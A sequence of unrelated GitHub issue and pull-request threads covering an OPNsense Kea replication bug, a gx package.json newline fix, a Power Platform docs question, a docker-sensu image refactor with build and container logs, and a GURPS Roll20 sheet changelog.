85630 München

[cid:enthus_cloud_87d036ce-4795-44e2-89bc-ba065c99e1dc.jpg]https://enthus.de/services-xaas/xaas/enthus-cloud?utm_source=signature&utm_medium=email&utm_campaign=enthuscloud&utm_content=version1https://enthus.de/blog/enthus-gewinnt-platin-award-als-bestes-systemhaus/?utm_source=signature&utm_medium=email&utm_campaign=systemhaus&utm_content=version1
Sitz der Gesellschaft: Böblingen     Amtsgericht: Stuttgart HRB 787137     USt-IdNr.: DE251573157
Geschäftsführer: Stefan Voß
Informationen zum Datenschutz
Kunden, Interessenten, Bewerber, Netzwerkpartner, Lieferanten und Geschäftspartner finden unter folgendem Link die gesetzlich vorgeschriebenen Informationen zum Datenschutz nach Artikel 13 DSGVO: https://enthus.de/datenschutz
From: Ad Schellevis @.>
Date: Friday, 5. April 2024 at 18:33
To: opnsense/core @.>
Cc: Oliver Oldach @.>, Author @.>
Subject: Re: [opnsense/core] [BUG] OPNSense HA Replication breaks Kea HA Replication settings by overwriting /usr/local/etc/kea/dhcp*.conf (Issue #7354)
Thanks for looking into this. The help text is not clear and the effect is not intuitive.
Suggestions are welcome, just open a pull-request to propose modifications.
IMHO the box should not be in the gui and the peers should default to the hostname to keep things simple and intuitive
That's exactly what they do.... the gui even shows the current value as placeholder when left empty.
—
Reply to this email directly, view it on GitHubhttps://github.com/opnsense/core/issues/7354#issuecomment-2040222525, or unsubscribehttps://github.com/notifications/unsubscribe-auth/ALFKZGISCOPPFYJHB2SMPKDY33G35AVCNFSM6AAAAABFVTAJXCVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDANBQGIZDENJSGU.
You are receiving this because you authored the thread.Message ID: @.***>

Hi Oliver,
Sure, I'll close it. More features will be added to KEA in time, in the meantime isc remains the default anyway.
I expect we will change the default in 25.1 (and keep isc for at least another year after that).
Best regards,
Ad


No new line character at the end of package.json

When importing a package, gx rewrites the package.json and doesn't add a new line character after the last '}' which is annoying as it often gives the following kind of diff:
@@ -71,4 +77,4 @@
   "license": "MIT",
   "name": "go-ipfs",
   "version": "0.4.0"
-}
+}
\ No newline at end of file

It would be nice if gx would just add a new line character after the last '}'.

Taken care of :) Thanks!


3 implement message receive

Is it fine for you, if we start the review when #2 is merged?
Just for easier handling and avoiding duplicated proposals,

Is it fine for you, if we start the review when #2 is merged? Just for easier handling and avoiding duplicated proposals,

Yes sure, did the requested changes for #2 and they're ready for review

Please fix all conflicts first (e.g. rebase) and then incorporate the general notes (comments, empty lines, ...) from the other PR #2. After that, please request a new review.

PR should be ready for another review


How to stay up to date with the power platform documentaion

Hi,
is there an easy way to get a notification, when something in the documentation changes? Or list when which site has been added/ edited?
I only found a flow templete, but there I have to define a specific URL.

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 532b6838-6e2a-2bfd-e0c7-5454446f7564
Version Independent ID: d1448fc4-5eb9-9f01-cbaf-c3edf64a2e1c
Content: Overview - Power Platform
Content Source: power-platform/guidance/coe/overview.md
Service: power-platform
Sub-service: guidance
GitHub Login: @manuelap-msft
Microsoft Alias: mapichle

Thanks for your comment, @lukas-nC. This issue has been assigned to the doc author for review.


[WIP] Refactorization

cleanup Dockerfile
tidy up the README.md
other fixes and improvements

the evenmachine gem is required by Sensu, and it's failing build.
+ gem install --no-document yaml2json eventmachine
Successfully installed yaml2json-0.0.2
Building native extensions.  This could take a while...
ERROR:  Error installing eventmachine:
        ERROR: Failed to build gem native extension.

    current directory: /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/eventmachine-1.2.5/ext
/opt/sensu/embedded/bin/ruby -r ./siteconf20170921-4440-imz31k.rb extconf.rb
checking for -lcrypto... yes
checking for -lssl... yes
checking for openssl/ssl.h... yes
checking for openssl/err.h... yes
checking for rb_trap_immediate in ruby.h,rubysig.h... no
checking for rb_thread_blocking_region()... no
checking for rb_thread_call_without_gvl() in ruby/thread.h... yes
checking for rb_thread_fd_select()... yes
checking for rb_fdset_t in ruby/intern.h... yes
checking for rb_wait_for_single_fd()... yes
checking for rb_enable_interrupt()... no
checking for rb_time_new()... yes
checking for inotify_init() in sys/inotify.h... yes
checking for writev() in sys/uio.h... yes
checking for pipe2() in unistd.h... yes
checking for accept4() in sys/socket.h... yes
checking for SOCK_CLOEXEC in sys/socket.h... yes
checking for sys/event.h... no
checking for epoll_create() in sys/epoll.h... yes
checking for clock_gettime()... yes
checking for CLOCK_MONOTONIC_RAW in time.h... yes
checking for CLOCK_MONOTONIC in time.h... yes
CXXFLAGS=-I/opt/sensu/embedded/include -O2 -O3 -g -pipe -Wall -Wextra -Wno-deprecated-declarations -Wno-ignored-qualifiers -Wno-unused-result -Wno-address
creating Makefile

current directory: /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/eventmachine-1.2.5/ext
make "DESTDIR=" clean

current directory: /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/eventmachine-1.2.5/ext
make "DESTDIR="
compiling binder.cpp
compiling cmain.cpp
compiling ed.cpp
compiling em.cpp
compiling kb.cpp
compiling page.cpp
compiling pipe.cpp
compiling rubymain.cpp
compiling ssl.cpp
linking shared-object rubyeventmachine.so
/usr/bin/ld: unrecognized option '--compress-debug-sections=zlib'
/usr/bin/ld: use the --help option for usage information
collect2: error: ld returned 1 exit status
Makefile:257: recipe for target 'rubyeventmachine.so' failed
make: *** [rubyeventmachine.so] Error 1

make failed, exit code 2

Gem files will remain installed in /opt/sensu/embedded/lib/ruby/gems/2.4.0/gems/eventmachine-1.2.5 for inspection.
Results logged to /opt/sensu/embedded/lib/ruby/gems/2.4.0/extensions/x86_64-linux/2.4.0/eventmachine-1.2.5/gem_make.out

I've read on their repo that it also requires these packages:

Bundler 1.0 or higher
libstdc++ (on Debian Stretch it's called libstdc++-4.8-dev)
OpenSSL is optional to provide SSL/TLS transport encryption
After satisfying deps, the build is throwing the same error. Weird :hankey: happening in there...

Thanks to Chris Calender's blog post I've managed to fix that issue by installing libevent-dev.
Also updated the image base to Debian Stretch with latest Sensu version.

Everything is starting properly now.
I'm running everything on Docker version 17.07.0-ce, build 87847530f7, with docker-compose version 1.13.0, build 1719ceb.
Only issue is with networking between uchiwa and sensu-api, which I'm working on fixing it right now.
Docker Compose logs
Attaching to sensu-redis, sensu-api, sensu-client, sensu-uchiwa, sensu-server
sensu-redis | 1:C 28 Sep 06:54:00.651 # Warning: no config file specified, using the default config. In order to specify a config file use redis-server /path/to/redis.conf
sensu-redis |                 _._
sensu-redis |            _.-``__ ''-._
sensu-redis |       _.-``    `.  `_.  ''-._           Redis 3.2.10 (00000000/0) 64 bit
sensu-redis |   .-`` .-```.  ```\/    _.,_ ''-._
sensu-redis |  (    '      ,       .-`  | `,    )     Running in standalone mode
sensu-redis |  |`-._`-...-` __...-.``-._|'` _.-'|     Port: 6379
sensu-redis |  |    `-._   `._    /     _.-'    |     PID: 1
sensu-api | {"timestamp":"2017-09-28T06:54:02.526419+0000","level":"warn","message":"loading config files from directory","directory":"/etc/sensu/conf.d"}
sensu-redis |   `-._    `-._  `-./  _.-'    _.-'
sensu-api | {"timestamp":"2017-09-28T06:54:02.557418+0000","level":"info","message":"api listening","protocol":"http","bind":"<IP_ADDRESS>","port":4567}
sensu-redis |  |`-._`-._    `-.__.-'    _.-'_.-'|
sensu-client | {"timestamp":"2017-09-28T06:54:02.536294+0000","level":"warn","message":"loading config files from directory","directory":"/etc/sensu/conf.d"}
sensu-api | {"timestamp":"2017-09-28T06:54:02.557583+0000","level":"warn","message":"reconnecting to redis"}
sensu-redis |  |    `-._`-._        _.-'_.-'    |           http://redis.io
sensu-uchiwa | {"timestamp":"2017-09-28T06:54:03.798754265Z","level":"warn","message":"Loading the configuration file /etc/sensu/uchiwa.json"}
sensu-api | {"timestamp":"2017-09-28T06:54:02.557646+0000","level":"error","message":"[amqp] Detected TCP connection failure: Errno::ECONNREFUSED"}
sensu-redis |   `-._    `-._`-.__.-'_.-'    _.-'
sensu-client | {"timestamp":"2017-09-28T06:54:02.536363+0000","level":"warn","message":"applied sensu client overrides","client":{"name":"7c4ef6dc1ac2","address":"<IP_ADDRESS>","subscriptions":["client:7c4ef6dc1ac2"]}}
sensu-client | {"timestamp":"2017-09-28T06:54:02.538622+0000","level":"info","message":"configuring sensu spawn","settings":{"limit":12}}
sensu-uchiwa | {"timestamp":"2017-09-28T06:54:03.799072597Z","level":"warn","message":"Uchiwa is now listening on <IP_ADDRESS>:3000"}
sensu-api | {"timestamp":"2017-09-28T06:54:03.799990+0000","level":"info","message":"api response","request":{"remote_address":"<IP_ADDRESS>","user_agent":"Go-http-client/1.1","method":"GET","uri":"/stashes","query_string":null,"body":""},"status":500,"content_length":59,"time":0.0}
sensu-redis |  |`-._`-._    `-.__.-'    _.-'_.-'|
sensu-client | {"timestamp":"2017-09-28T06:54:02.565474+0000","level":"error","message":"[amqp] Detected TCP connection failure: Errno::ECONNREFUSED"}
sensu-uchiwa | {"timestamp":"2017-09-28T06:54:03.799091135Z","level":"info","message":"Updating the datacenter test"}
sensu-uchiwa | {"timestamp":"2017-09-28T06:54:03.800163463Z","level":"warn","message":"GET http://api:4567/stashes returned: 500 Internal Server Error"}
sensu-uchiwa | {"timestamp":"2017-09-28T06:54:03.800179758Z","level":"warn","message":"Connection failed to the datacenter test"}
sensu-redis |  |    `-._`-._        _.-'_.-'    |
sensu-redis |   `-._    `-._`-.__.-'_.-'    _.-'
sensu-redis |       `-._    `-.__.-'    _.-'
sensu-redis |           `-._        _.-'
sensu-redis |               `-.__.-'
sensu-redis |
sensu-redis | 1:M 28 Sep 06:54:00.652 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.
sensu-redis | 1:M 28 Sep 06:54:00.652 # Server started, Redis version 3.2.10
sensu-redis | 1:M 28 Sep 06:54:00.653 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
sensu-redis | 1:M 28 Sep 06:54:00.653 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in o$
der to retain the setting after a reboot. Redis must be restarted after THP is disabled.
sensu-redis | 1:M 28 Sep 06:54:00.653 * The server is now ready to accept connections on port 6379
sensu-server | {"timestamp":"2017-09-28T06:54:03.973621+0000","level":"warn","message":"loading config files from directory","directory":"/etc/sensu/conf.d"}
sensu-server | {"timestamp":"2017-09-28T06:54:03.977510+0000","level":"warn","message":"loaded extension","type":"filter","name":"check_dependencies","description":"filter events when an event exists for a check dependency"}
sensu-server | {"timestamp":"2017-09-28T06:54:03.977567+0000","level":"warn","message":"loaded extension","type":"filter","name":"occurrences","description":"filter events using event occurrences"}
sensu-server | {"timestamp":"2017-09-28T06:54:03.977599+0000","level":"warn","message":"loaded extension","type":"mutator","name":"only_check_output","description":"returns check output"}
sensu-server | {"timestamp":"2017-09-28T06:54:03.977627+0000","level":"warn","message":"loaded extension","type":"mutator","name":"ruby_hash","description":"returns ruby hash event data"}
sensu-server | {"timestamp":"2017-09-28T06:54:03.977657+0000","level":"warn","message":"loaded extension","type":"mutator","name":"json","description":"returns JSON formatted event data"}
sensu-server | {"timestamp":"2017-09-28T06:54:03.977673+0000","level":"warn","message":"loaded extension","type":"handler","name":"debug","description":"returns raw event data"}
sensu-server | {"timestamp":"2017-09-28T06:54:03.977712+0000","level":"info","message":"configuring sensu spawn","settings":{"limit":12}}
sensu-server | {"timestamp":"2017-09-28T06:54:04.004487+0000","level":"warn","message":"reconnecting to redis"}
sensu-server | {"timestamp":"2017-09-28T06:54:04.004548+0000","level":"warn","message":"unsubscribing from keepalive and result queues"}
sensu-server | {"timestamp":"2017-09-28T06:54:04.004594+0000","level":"error","message":"[amqp] Detected TCP connection failure: Errno::ECONNREFUSED"}
sensu-api | {"timestamp":"2017-09-28T06:54:04.559607+0000","level":"error","message":"[amqp] Detected TCP connection failure: Errno::ECONNREFUSED"}
sensu-client | {"timestamp":"2017-09-28T06:54:04.567868+0000","level":"error","message":"[amqp] Detected TCP connection failure: Errno::ECONNREFUSED"}
sensu-server | {"timestamp":"2017-09-28T06:54:06.006497+0000","level":"error","message":"[amqp] Detected TCP connection failure: Errno::ECONNREFUSED"}
sensu-api | {"timestamp":"2017-09-28T06:54:08.560746+0000","level":"error","message":"[amqp] Detected TCP connection failure: Errno::ECONNREFUSED"}
sensu-client | {"timestamp":"2017-09-28T06:54:08.568724+0000","level":"error","message":"[amqp] Detected TCP connection failure: Errno::ECONNREFUSED"}
sensu-server | {"timestamp":"2017-09-28T06:54:10.007156+0000","level":"error","message":"[amqp] Detected TCP connection failure: Errno::ECONNREFUSED"}
sensu-uchiwa | {"timestamp":"2017-09-28T06:54:13.800335942Z","level":"info","message":"Updating the datacenter test"}
sensu-api | {"timestamp":"2017-09-28T06:54:13.800907+0000","level":"info","message":"api response","request":{"remote_address":"<IP_ADDRESS>","user_agent":"Go-http-client/1.1","method":"GET","uri":"/stashes","query_string":null,"body":""},"status":500,"content_length":59,"time":0.0}
sensu-uchiwa | {"timestamp":"2017-09-28T06:54:13.801053765Z","level":"warn","message":"GET http://api:4567/stashes returned: 500 Internal Server Error"}
sensu-uchiwa | {"timestamp":"2017-09-28T06:54:13.801071191Z","level":"warn","message":"Connection failed to the datacenter test"}
sensu-api | {"timestamp":"2017-09-28T06:54:14.561601+0000","level":"error","message":"[amqp] Detected TCP connection failure: Errno::ECONNREFUSED"}
sensu-client | {"timestamp":"2017-09-28T06:54:14.569581+0000","level":"error","message":"[amqp] Detected TCP connection failure: Errno::ECONNREFUSED"}
sensu-server | {"timestamp":"2017-09-28T06:54:16.008897+0000","level":"error","message":"[amqp] Detected TCP connection failure: Errno::ECONNREFUSED"}
sensu-api | {"timestamp":"2017-09-28T06:54:22.561830+0000","level":"error","message":"[amqp] Detected TCP connection failure: Errno::ECONNREFUSED"}
sensu-client | {"timestamp":"2017-09-28T06:54:22.569699+0000","level":"error","message":"[amqp] Detected TCP connection failure: Errno::ECONNREFUSED"}
sensu-uchiwa | {"timestamp":"2017-09-28T06:54:23.800439915Z","level":"info","message":"Updating the datacenter test"}
sensu-api | {"timestamp":"2017-09-28T06:54:23.802281+0000","level":"info","message":"api response","request":{"remote_address":"<IP_ADDRESS>","user_agent":"Go-http-client/1.1","method":"GET","uri":"/stashes","query_string":null,"body":""},"status":500,"content_length":59,"time":0.0}

sensu-client and sensu-api are failing. Log output:
sensu-uchiwa | {"timestamp":"2017-09-28T08:52:20.288319692Z","level":"info","message":"Updating the datacenter test"}
sensu-uchiwa | {"timestamp":"2017-09-28T08:52:20.289374107Z","level":"warn","message":"GET http://api:4567/stashes returned: dial tcp: lookup api on <IP_ADDRESS>:53: server misbehaving"}
sensu-uchiwa | {"timestamp":"2017-09-28T08:52:20.289387258Z","level":"warn","message":"Connection failed to the datacenter test"}
sensu-server | {"timestamp":"2017-09-28T08:52:21.445574+0000","level":"info","message":"updated server registry","server":{"id":"de52271c-7b54-49d1-8864-e02b22bcd067","hostname":"19252857d477","address":"<IP_ADDRESS>","tasks":["check_request_publisher","client_monitor"],"metrics":{"cpu":{"user":0.19,"system":0.03}},"sensu":{"version":"1.0.3","settings":{"hexdigest":"78471602e25de2111a3a49ed613f283fd5d17903eaecc7a5f0ef5fdc66fd6e13"}},"timestamp":1506588741}}
sensu-server | {"timestamp":"2017-09-28T08:52:21.446211+0000","level":"info","message":"i am now responsible for a server task","task":"check_result_monitor"}
sensu-uchiwa | {"timestamp":"2017-09-28T08:52:30.288283684Z","level":"info","message":"Updating the datacenter test"}
sensu-uchiwa | {"timestamp":"2017-09-28T08:52:30.290547381Z","level":"warn","message":"GET http://api:4567/stashes returned: dial tcp: lookup api on <IP_ADDRESS>:53: server misbehaving"}
sensu-uchiwa | {"timestamp":"2017-09-28T08:52:30.290585749Z","level":"warn","message":"Connection failed to the datacenter test"}

Finally we have a working version :tada: . I say it's stable now, you can test it and merge to master if it works ok.
See for yourself :smile:

It looks like the config templates have been removed?  Am I missing something.

I hardcoded them and renamed the folder templates to conf.
Did you test the startup? I tested the previous templates and variables
were not overridden during runtime, that's the reason ai converted them to
static configuration files. ☺
On Mon, 2 Oct 2017, 17:57 Shane Starcher<EMAIL_ADDRESS>wrote:

It looks like the config templates have been removed? Am I missing
something.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/sstarcher/docker-sensu/pull/57#issuecomment-333560055,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AFG20_w6BjyvEOOCy3h97KUHXUspWFi8ks5soPnSgaJpZM4Pe7SJ
.

--
Daniel Andrei Mincă
PGP Key Fingerprint = C4A3 8F02 9F1F 6567 6957 BC34 90CD 7C62 81DF 875D

The values previously worked and the templates generated correctly.  Your changes now make them static which is a major breaking change.

Did you start them via docker-compose up --build and got variables replaced? Because I did and then I checked inside the container and the variables weren't replaced.
Could you show me how you launch the project and show whether variables are changed or not? I'm running docker-compose version 1.13.0, build 1719ceb

docker-compose up

docker exec  dockersensu_client_1 cat /etc/sensu/conf.d/client.json
{
  "client": {
    "socket": {
      "bind": "<IP_ADDRESS>"
    },
    "name": "test",
    "address": "<IP_ADDRESS>",
    "deregister":  true,

    "subscriptions": [

        "all"

    ],

    "keepalive": {
      "thresholds": {
         "warning": 120,
         "critical": 180
      },
      "handler": "default"
    }
  }
}

The docker-compose file sets the environment variable CLIENT_NAME equal to test and it gets put into the file.

➜  open-source/docker-sensu git:(master) docker-compose up
Creating dockersensu_redis_1 ...
Creating dockersensu_redis_1 ... done
Creating dockersensu_api_1 ...
Creating dockersensu_client_1 ...
Creating dockersensu_api_1
Creating dockersensu_api_1 ... error

Creating dockersensu_client_1 ... error

ERROR: for dockersensu_client_1  Cannot start service client: oci runtime error: container_linux.go:262: starting container process caused "exec: \"client\": executable file not found in $PATH"

ERROR: for api  Cannot start service api: oci runtime error: container_linux.go:262: starting container process caused "exec: \"api\": executable file not found in $PATH"

ERROR: for client  Cannot start service client: oci runtime error: container_linux.go:262: starting container process caused "exec: \"client\": executable file not found in $PATH"
ERROR: Encountered errors while bringing up the project.

Not sure what the previous comment is in relation to.

I'll just close this one and let it be.

Templates act weird in latest docker-compose version, meaning that the
env vars weren't replaced in the configuration files.

—
You are receiving this because you modified the open/close state.
Reply to this email directly, view it on GitHub
https://github.com/sstarcher/docker-sensu/pull/57#issuecomment-333981224,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AFG20ycK-Nn0JOBgs_WOgv7Rvm_BSTNhks5soqQ4gaJpZM4Pe7SJ.

docker-compose version 1.16.1, build 6d1ac21
docker-py version: 2.5.1
CPython version: 2.7.12
OpenSSL version: OpenSSL 1.0.2j  26 Sep 2016

Ok, so let's see. What needs changed:

./conf reverted to templates
templates ending in .tmpl as before, right?

And that's all I think

@sstarcher you were right, templates are working flawless. Everything starts ok now, could you confirm whether there's anything left to change?
To be honest, I didn't work with templates so much in docker-compose, I'll start using them as well :smile:

I likely won't be able to get around to validating everything until this weekend.  Thanks for adding the templates back in.

It also looks like your new image is much larger than the old image.
local_sensu_old                     latest              0ffcd7b2414c        3 minutes ago       178MB
local_sensu                         latest              26c3e10a3fa3        2 hours ago         403MB


[GURPS] 2.7.8

Changes / Comments

Updated the text for tooltips, descriptions, and Add to Turn Order result.
Added some additional notes to Editable rules for damage types. NOTE: You can only see the new text if you start a new character.
Changed several labels for Weight to LBS for pounds, this is due to the new Use Metric Weight option.
Added new checkbox option for Use Metric Weights. The option can be selected for a specific character sheet or on the Default Sheet Options. If checked, labels will be changed to show KG and weight formulas updated, as necessary.
Size Modifier Costs for Strength, Hit Points, Lifting ST, and Striking ST was showing the wrong message if you didn't enter the minimum number of Character Points for the attribute. This has been fixed. Reported Niccy.
Combat Reflexes checkbox was updated to be more intuitive when updating the items from the custom Active Defenses table. Requested by Captain Joy.

Files Changed

GURPS\gurps.html
GURPS\gurps.css
GURPS\sheet.json
GURPS\translation.json

Roll20 Requests
Comments are very helpful for reviewing the code changes. Please answer the relevant questions below in your comment.

[x] Does the pull request title have the sheet name(s)? Include each sheet name.
[x] Is this a bug fix?
[x] Does this add functional enhancements (new features or extending existing features) ?
[x] Does this add or change functional aesthetics (such as layout or color scheme) ?
[x] If changing or removing attributes, what steps have you taken, if any, to preserve player data ? Add on sheet load to convert old combat reflexes to new combat reflexes
[ ] If this is a new sheet, did you follow Building Character Sheets standards ?

If you do not know English. Please leave a comment in your native language.

Character Sheet Info Roll20 Internal Use only.